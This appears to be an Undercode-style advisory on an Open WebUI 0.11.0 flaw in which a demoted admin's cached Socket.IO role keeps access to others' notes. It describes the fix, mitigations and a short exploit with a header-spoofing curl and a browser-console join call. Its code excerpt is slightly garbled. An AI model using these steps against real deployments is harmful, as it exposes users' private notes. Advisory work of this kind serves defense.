Listen to this Post
Open WebUI caches a user’s role in the Socket.IO session pool at connection time. The role is stored in an in-memory dictionary keyed by session ID, and it is never refreshed from the database while the connection remains open. When an administrator is demoted through an identity-provider path—either the reverse-proxy trusted role header or OAuth role mapping—the database role is updated to “user,” but the cached copy inside the already-open socket still reads “admin”. The heartbeat handler that keeps the session alive rewrites only the idle timestamp; it preserves the stale role. The collaborative-notes socket handlers authorize against the cached role, so a demoted account continues to open and edit any user’s note until the socket closes. The admin user-management endpoints did invalidate sessions, but the two SSO role-sync paths did not, leaving the gap. HTTP endpoints are unaffected because they refetch the role from the database on every request. Fixed in 0.11.1 by commit ce3c175e260709f359d7e6cbb3132f0572098b95, which publishes an internal event on role change and tears down the affected user’s Socket.IO connections.
DailyCVE Form:
Platform: Open WebUI
Version: 0.11.0
Vulnerability: Stale Socket Role
Severity: Medium
date: 2026-09-11
Prediction: 2026-08-25
What Undercode Say:
Analytics:
Deploy vulnerable instance with trusted-header role sync docker run -d --name openwebui-vuln \ -p 3000:8080 \ -e WEBUI_AUTH_TRUSTED_ROLE_HEADER=X-Remote-User-Group \ -e WEBUI_AUTH_TRUSTED_EMAIL_HEADER=X-Remote-User-Email \ ghcr.io/open-webui/open-webui:0.11.0 Verify version curl -s http://localhost:3000/api/version Check socket connection in browser devtools Socket.IO endpoint: /ws/socket.io/
backend/open_webui/socket/main.py — vulnerable pattern
SESSION_POOL: dict[str, dict] = {}
@sio.event
async def connect(sid, environ, auth):
user = await get_current_user(auth["token"])
SESSION_POOL[bash] = {
"id": user.id,
"role": user.role, cached at connect time
"last_seen_at": time.time(),
}
Role sync in auths.py — did NOT invalidate socket
async def update_user_role(user_id: str, new_role: str):
await Users.update_user_role_by_id(user_id, new_role)
SESSION_POOL not iterated — stale role persists
Fix verification in 0.11.1 git log --oneline ce3c175e260709f359d7e6cbb3132f0572098b95 Expected: session invalidation on role change grep -r "SESSION_POOL" backend/open_webui/socket/main.py
Exploit: (Educational Purposes!)
1. Authenticate as admin via trusted header curl -H "X-Remote-User-Email: [email protected]" \ -H "X-Remote-User-Group: admin" \ http://target.local/api/auths/signin 2. Open browser, navigate to a notes page 3. In IDP, demote account: change group to "user" 4. Without reloading, join another user's note via socket
// Browser console — socket still holds admin role
const socket = io("/", { auth: { token: localStorage.token } });
socket.emit("ydoc:document:join", {
doc_id: "victim-note-id",
user_id: "demoted-admin-id"
});
// Server grants access — cached role reads "admin"
Protection: from this CVE
Upgrade to fixed version pip install open-webui==0.11.1 or docker pull ghcr.io/open-webui/open-webui:0.11.1
If upgrade not possible, disable SSO role sync unset WEBUI_AUTH_TRUSTED_ROLE_HEADER In OAuth settings: disable role mapping
Reverse proxy mitigation: limit socket lifetime proxy_read_timeout 300s; proxy_send_timeout 300s;
Impact:
The demoted account retains read and write access to every user’s collaborative notes through the stale Socket.IO session. The exposure ends only when the connection drops—by signing out, reloading, or network interruption. HTTP endpoints, user management, settings, and model configuration remain protected because they refetch the role from the database. The realistic trigger is off-boarding or a least-privilege downgrade performed in the identity provider, a normal administrative action that leaves the socket privileges live.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

